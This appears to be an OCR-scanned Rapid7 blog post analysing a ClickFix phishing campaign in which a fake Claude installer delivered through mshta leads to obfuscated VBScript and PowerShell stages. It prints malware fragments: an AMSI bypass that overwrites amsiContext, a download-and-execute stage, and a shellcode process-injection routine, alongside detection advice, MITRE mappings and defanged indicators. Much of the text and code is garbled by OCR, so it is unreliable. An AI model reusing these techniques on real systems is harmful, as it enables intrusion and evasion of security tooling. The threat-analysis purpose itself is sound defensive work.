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Overview

It is no secret that phishing campaigns utilizing various ClickFix techniques have been a
commonly used method of social engineering. One of the main reasons for this is simply because
they work. You know this and Rapid7 does as well. As a company offering managed detection and
response (MDR), our customers expect us to be knowledgeable about and able to detect attacks
as common as ClickFix campaigns.

Recently, Rapid7 observed a small grouping of ClickFix events across customers in the EU and
US. At the time of discovery, this campaign had very little traction on sites like VirusTotal or within
the online security landscape. This campaign was particularly interesting as it appeared to be
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masquerading as an installer for Claude, an Al tool that has received a considerable amount of
attention.

Using Rapid7 InsightIDR detection rules, our SOC analysts were able to detect and respond to the
threat, preventing further compromise. This campaign demonstrates the strength Rapid7
customers get from our MDR service, while peeling back the curtain to provide a real-world
example on how we operate behind the scenes. In this blog, we will detail a brief technical
analysis of the observed threat actor activities and discuss how this serves as an example of the
service we aim to provide our MDR customers. The analysis highlights both the multi-step delivery
of the payload as well as the work Rapid7 performs when investigating threats.

Observed attacker behavior

On April 9, Rapid7 was alerted to mshta executed on a customer asset using the Windows run
utility. The alert was generated by the detection rule Attacker Technique - Remote Payload
Execution via Run Utility (shell32.dll). This rule will generate an alert when a suspicious
process, such as mshta, is added to the RunMRU registry key. This key is important for the
detection of ClickFix campaigns, as it tracks the last 26 commands executed by the Windows run
utility. One thing that stuck out about this particular mshta command is that the URL, download-
version[.]1-5-8[.Jcom/claude.msixbundle, appeared to be impersonating an MSIX bundle for the
popular Al tool, Claude.

MSIX files are Windows app packages that one would typically see from the Microsoft store,
definitely not something you would see being passed as an argument to mshta. While the host
was quickly taken down before Rapid7 was able to obtain the claude.msixbundle payload, a copy
was obtainable on VirusTotal. Looking at the payload, it does initially appear to be an MSIX
bundle. The file header signature, PK, indicates that the file is a ZIP archive and contains a string
reference to the MSIX bundle, MicrosoftBing 1.1.37.0_ARM64.msix:
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Exploring the payload deeper, however, reveals an HTML Application (HTA) embedded within the
ZIP archive:

OR BC 21 44 4F 43 54 59 50 45 20 €2 74 €D 6C 3E [FEYDOCTYPE Hrmi=|
OD OR 3C 6% 74 €D 6C 3E OD OR 3C €8 65 61 64 3E |..<html>..<head>
OD OR 3C 4% 54 41 3A 41 50 50 4C 49 43 41 54 495 |..<HTRA:APPLICATI
4F 4E 20 69 €3 €F 6E 3D 22 23 m CON icon="4" WIND
4F 57 53 54 41 5S4 45 3D 22 £E J _ & | OWSTATE="normal"
20 53 48 4F 57 49 4E 54 41 53 4B 42 41 52 3D 22 | SHOWINTASKEBAR="
6E €F 22 20 53 59 53 4D 45 4E 55 3D 22 6E &F 22 |no" SYSMENU="no"
20 20 43 41 50 54 49 4F 4E 3D 22 €E 6F 22 20 42 |_CAPTION="no" B |
4F 52 44 45 52 3D 22 6E 6F 6E €5 22 20 53 43 52 ORDER="none" SCR
4F 4C 4C 3D 22 6E &F 22 20 2F 3E 0D OR 3C 73 63 OLL="no" />..<sc
72 €9 70 74 20 74 79 70 €5 3D 22 T4 €5 78 74 2F |ript type="text/
76 €2 73 €3 72 €9 70 74 22 3E 0D OL OD OR OD OL |vbscript">......
OD OL 46 75 6E 63 74 €9 &F 6E 20 52 €5 67 €8 74 |..Function Right
41 6D €4 46 74 70 28 49 BE 64 65 72 47 69 &7 61 |AmdFtp(IndexGiga
€2 79 74 €5 57 €9 & - byteWindows )

20 20 20 20 44 &9 am Dim DefineBr
6F 77 73 €5 72 41 T0 €9 20 2C 20 43 &F 6D &D &6F |owserBpi , Commo
6E S4 61 62 &C 65 T4 45 &C 65 €3 74 72 €59 €3 69 |nTabletElectrici
74 79 20 OD OA 20 20 20 20 44 &5 €6 €5 6E &5 42 |ty .. DefineB
72 €F 77 73 €5 72 41 70 €9 20 3D 20 4C &5 6E 28 |rowserApi = Len|
45 gE &4 65 78 47 6% 67 61 62 T8 74 5 57 &9 cE ndexGigabyteWin
€4 €F 77 73 295 0D OR 20 20 20 20 43 &F 6D &D 6F dows).. Commo
6E S4 61 62 &C 65 T4 45 EC 65 €3 74 72 65 €3 69 nTabletElectrici

(]

The Visual Basic script within the HTA file contains a series of obfuscated strings that are
deobfuscated with the following VBS function:
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Function DisplayEmailGnu{B:

Dim Cptluhazz

Dim TheBytePirate,

Dim theStepas
theStepas

Len(ThisMalwareLinux) * 2

Dim LeftServerLinux

LeftServerLinux
For Cptluhazz
TheBytePirate
TheBytePirate
interValue
DisplayEmailGnu
Next
End Function

[

Additionally, one of the functions serves to generate an encoded PowerShell script that will serve

as the next step in the chain:

Function GetBiosDebian()
Dim BottomDatabaseGmail

BottomDatabaseGmail = DisplayEmailGnu("5

(]

BottomDatabaseGmail
BottomDatabaseGmail
ymDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
ymDatabaseGmail
BottomDatabaseGmail
tomDatabaseGmail
ymDatabaseGmail
BottomDatabaseGmail
tomDatabaseGmail
tomDatabaseGmail
tomDatabaseGmail
tomDatabaseGmail
tomDatabaseGmail
tomDatabaseGmail
tomDatabaseGmail
ymDatabaseGmail
tomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail

GetBiosDebian =

End Function

BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail

ottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail

ottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail

ottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail
BottomDatabaseGmail

BottomDatabaseGmail

% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu
% DisplayEmailGnu(

= "&H"

1 To theStepas Step 4
MidB(ThisMalwarelLinux, Cptluhazz, 4)
LeftServerLinux & TheBytePirate

Chr(CInt({TheBytePirate))

DisplayEmailGnu & interVWalue

nonowon o

a3
i

L= L . R~ L L~ . . . S L . 0 . N~ .~ . B B B B

% DisplayEmailGnu

&

DisplayEmailGnu("575764424d4546

After the deobfuscation routine is complete, these strings contain references to the required
objects and function calls to craft and execute — via ShellExec — the following command:
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c:\Windows\System32\cmd.exe” /v:on /c “set x=pow&&set y=ershell&&call
%windir%\Syswowe4\WindowsPowershell\v1.0\!x!!y! -E [ENCODED COMMAND]

O

Sub SetVisualstudioBrowser(MyProgrammingElectronic )
Dim DefinePythonGoogle
Dim HasJavaXml

HasJavaXml = Split(MyProgrammingElectronic, DisplayEmailGnu("“28")
DefinePythonGoogle = RightAmdFtp(MyProgrammingElectronic)

B

et SetBotnetMacintosh = GetObject|pDisplayEmailGnu(”6e65773a394241308353937322d463641382d313143462d41™)
et IndexMumericalDocument = SetBotnetMacintosh.Item(}
IndexiMumericalDocument .Document.Application.ShellExecute HaslavaXml, DefinePythonGoogle, "", "open™, 8

5
G
-

End Sub

(]

The encoded PowerShell acts as a staging payload. The script will first generate an MD5 hash
value based on the COMPUTERNAMEand USERNAME environment variables. It will then take
the first 16 characters of the hash value and use it to craft a URL to pull another, much larger,
PowerShell script. The script also contains a string deobfuscation routine that is responsible for
crafting the following strings to be passed to various .NET functions:

e Assembly

System.Mangement.Automation.AmsiUtils

amsiContext

NonPublic,Static

0x41414141
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$nipple=(Get-FileHash -InputSt

ur ([
[ verCertificat i i a ck={ }
TenantId {
local, $startPosition)
1((-bnot($local -band $startPos

-band (-bnot((-bnot $local

$msbuildEngine = 256

Globallson {
sMinVersion, $sessior
$rest New-Object Byte[] $msbuildEngine
$noP. Obj yte[] $msbuildEngi
for (% ePath -1t $
$restore|$packagePath] = $packagePath
$noPath[%pa ions[$packagePath %

ildeEngine; $packagePath++

sions.Length

$outputConfigurationData = @
for ($packagePath = 9; § cagePath -1t $i
$outputConfigurationData $outputCon

$shaFile re[ $packagePath
$rest: gePath
$outputConfig

uildEngine; $packagePath++

restore[ $outputConfigurationData
= $shaFile

$packagePath = ($pac
$outputConfiguration $outputConfigurationData + $restore[$packagePath]
tore[$packagePath
gePath $r re[$outputConfigurationData
utputConf onData
ePath = ($r
$vsMinVersion[$ResourcesPath] = TenantId $

= $shaFile
tore[$packagePath] + $restore[$outputConfigurationData]
MinVersion[$Resour ath

inversion

]::UTF8.GetBytes($en

-band

gurationData + $restore[$packagePath] + $noPath[$pac

JMPUTERNAME+$env:USERNAME) ) ) -Algorithm MDS5).Hash.Substring(®,16).TolLower()

(-bnot $startPosit

ePath]) % $msbuildEngine

% $msbuildEngine

% $msbuildEngine
frestore| $be

ath

The script will then call the deobfuscation routine to craft a call to WriteInt32 in the .NET Marshal
library to overwrite the amsiContext field in System.Management.Automation.AmsiUtilswith
the value 0x41414141. Once amsiContextis overwritten, the script will download and execute the

next stage:

"iableTable=[ ]::UTF8.GetBytes( "B
credEntry
:UTF8.GetString((Gleballson ([

$Aamsiutils = [ ]1.(credEntry "jnd® g .GetType
$amsiContext = $AmsilUtils.GetField((credEntry "rmlMIc
$JunkPointer [ “edEntry
]: :WriteInt32($AmsiContext, $JunkPointer)

hi1
ALl

iblePaths=New-Object Net.WebCliept
er=$possiblePaths.DownloadStrin

B8])) $variableTable

-GetValue(

The URL is hosting yet another PowerShell script containing highly obfuscated strings and a large
byte array. Upon execution of the script, the strings decode to contain the necessary .NET types
and method calls to create and execute a PowerShell ScriptBlock. This ScriptBlock is derived from
the byte array, which is first base64 decoded and then run through a deobfuscation routine:
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$base64stringAsBytes=[Byte[]]@(69,105,103,110,90,65,119,189,78,122,111,58,79,66,1687,119,75,1685,112,4 o 4,18 113,79,121, 1

$utfB8Encodir $kzG1K1vafpgzXWLzEBBAU -as [ 1) : : ($yenyokn

O

This ScriptBlock again contains another series of obfuscated strings and a large byte array
containing yet another PowerShell ScriptBlock. Following the execution of the script, the code
once again creates and executes a PowerShell ScriptBlock:

Set-StrictMode -Version 2

$length=(-join|[ Ja(
| 1(-join[ J@(exe

hread=[ 1( in[ ] 16,184 ,8x . 1685, 8x6e,8x67 0 ,184,114,101,97,8x64)) ;

d2,8xb5, 8x00, 8xe4,0x96, 8xd8, 8xc x30,Px56,0xce,8xfd, 0x08,0x7e,0x20,0xe8,

(A6) ;
idedByTwo=(512/2);
byte[]11% X 5)d %0 Axaf, B,8x1a,8xcc,8x89,08x52,8xec,dx63, xCB,0xe1,8x3c,8x45, 8x7e, 08X
rray. ( )
g9b-1t$bigby rray.($length); ugob++){

$zruofreilea[st 180 ob]=[ 1(($bigbyteArray[$tj3x8
1
$lajbzmvhi : $zruotfreiled. ($length))
fo g n-1t$zruocfreiled. ($length); $pvSkiokpjaleln++){
cwgfmfd557. ($length
1($zruofreilea| $p i09kpjdlg )4 ccwgfmfd557[$i11dwl
fmfd557[$111dwll F 8 vSkigkpjdilgln])-band($fiveTwelveDividedByTwo-(3-2

$aStkitdazf [119 (@x2d) . .($lajbzmvhigrfcfvnj. ($length)- (8x12)-(3-2))]));:$threadingThread::
B(L

[

This ScriptBlock culminates in a process injection routine using the .NET interoperability library.
The code contains a byte array with encrypted shellcode that gets passed through a XOR routine.
The script then obtains handles to the following Windows API calls:

NtAllocateVirtualMemory

Copy

NtProtectVirtualMemory

NtCreateThreadEx

NtWaitForSingleObject
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e NtFreeVirtualMemory
e NtClose

After obtaining the handles, the script crafts delegate functions for the Windows API calls and
invokes the delegates to perform the process injection routine:

xd2, 8x59,8x43,0xd6, 8xa3,0x4b,8x86,08x42,08x43,0x78,8xdb, 8x86,8x51,Bx % » 4,8x17,8x7|
.length)
qmnzsbxbn533. length; $grbksinlixcxku++){$cgrlazzqdgjmmgjdfw=$grbksinlixcxku%$hukjoaay627.length; $duelkbmgg776[ $grbks)
tring(pduelkbmgg776)

)(37)

ghfotbndl6 ('n'+'td'+"11"°+"."+'d"+"11") (' 1 ntAll , "irtualMemory ' )) |(datykhx778 $_ip,$ ip.('Mak’'+'eBy '+ 'Ref +'T]|

1kbm 1k ; 1kbmgg776.

z573 6 ('n' 110+ +d T+ ( 1 NtPro /i', "rtu v ")) | (datykhx778 @($_ip,$ ip.( 'Mak'+'eBy'+'Ref'+'Ty

1$izneklkeldhxsjeigz, [ 32), 1$jgvandxlmtrrut)>
d'+'11°+"."+"'d"'+'11 N'+'tC’ t'+'e'+'T'+'hr'+'e"+ ad "+ Ex")) |(datykhx778

ar' ) ($xqmnzsbxbn|

customers receive the security knowledge of our threat intelligence, detection engineering,
incident response, and security operations center analysts. Input from all of these sources directly
feeds into how we create detections and respond to alerts. Following is an explanation of how we
use events like these to further provide and enhance our services for customers.

As previously mentioned, ClickFix activity is not new. Detection engineers in the MDR service
know this and build rules to address these techniques, such as the rule that caught the activity
discussed in this blog.. Detection rules are created in response to activity observed in incident
response, customer requests, activity observed from the SOC, threat intelligence, and
observations of the security landscape. Rapid7’s detection engineers work with the SOC to
monitor these rules for efficacy. Rules that are primarily used to detect initial compromise, such as
the one that alerted on this campaign, are additionally monitored to identify any new campaigns.

Once the campaign is identified, our detection engineers research it to create additional rules.
They can also perform retroactive threat hunts across the Rapid7 customer base using IOCs or
any new behavioral detections created from researching the campaign. Results from researching
campaigns like this one then go on to feed threat intelligence and help inform our detection
strategy. This campaign provides a great example of how Rapid7 works on the backend to detect
and prevent threats in customer environments.

Mitigation guidance

Monitor the following registry key to watch for potential ClickFix attacks such as the one observed
in this case:
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HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

While Rapid7 MDR customers were covered by the managed SOC, Rapid7 recommends the
following actions for containment:

If the activity is not expected, apply containment and review the user's browsing history for the
source of the command. The initial lure is often presented to the user when they attempt to
browse the internet for free downloads (media, software, etc.). In some cases the malicious
command may have been copied to the user's clipboard when visiting the initial webpage, and can
be viewed by inspecting the source code of the site. If the infection is successful, an information
Stealer is often executed as the final payload, meaning that any credentials stored on the infected
system should be reset as part of restoration.

MITRE ATT&CK techniques

System Binary Proxy Execution: Mshta T1218.005
Obfuscated Files or Information: Encrypted/Encoded File T1027.013
Obfuscated Files or Information: Command Obfuscation T1027.010
Command and Scripting Interpreter: PowerShell T1059.001
Process Injection T1055

Indicators of compromise (I0Cs)

Cloude.Msixbundle:
2b99ade9224add2ce86eb836dcf70040315f6dc95e772ea98f24a30cdf4fdb97
o Oakenfjrod[.]ru
e download-version[.]1-5-8[.]Jcom

e download[.]get-version[.]Jcom
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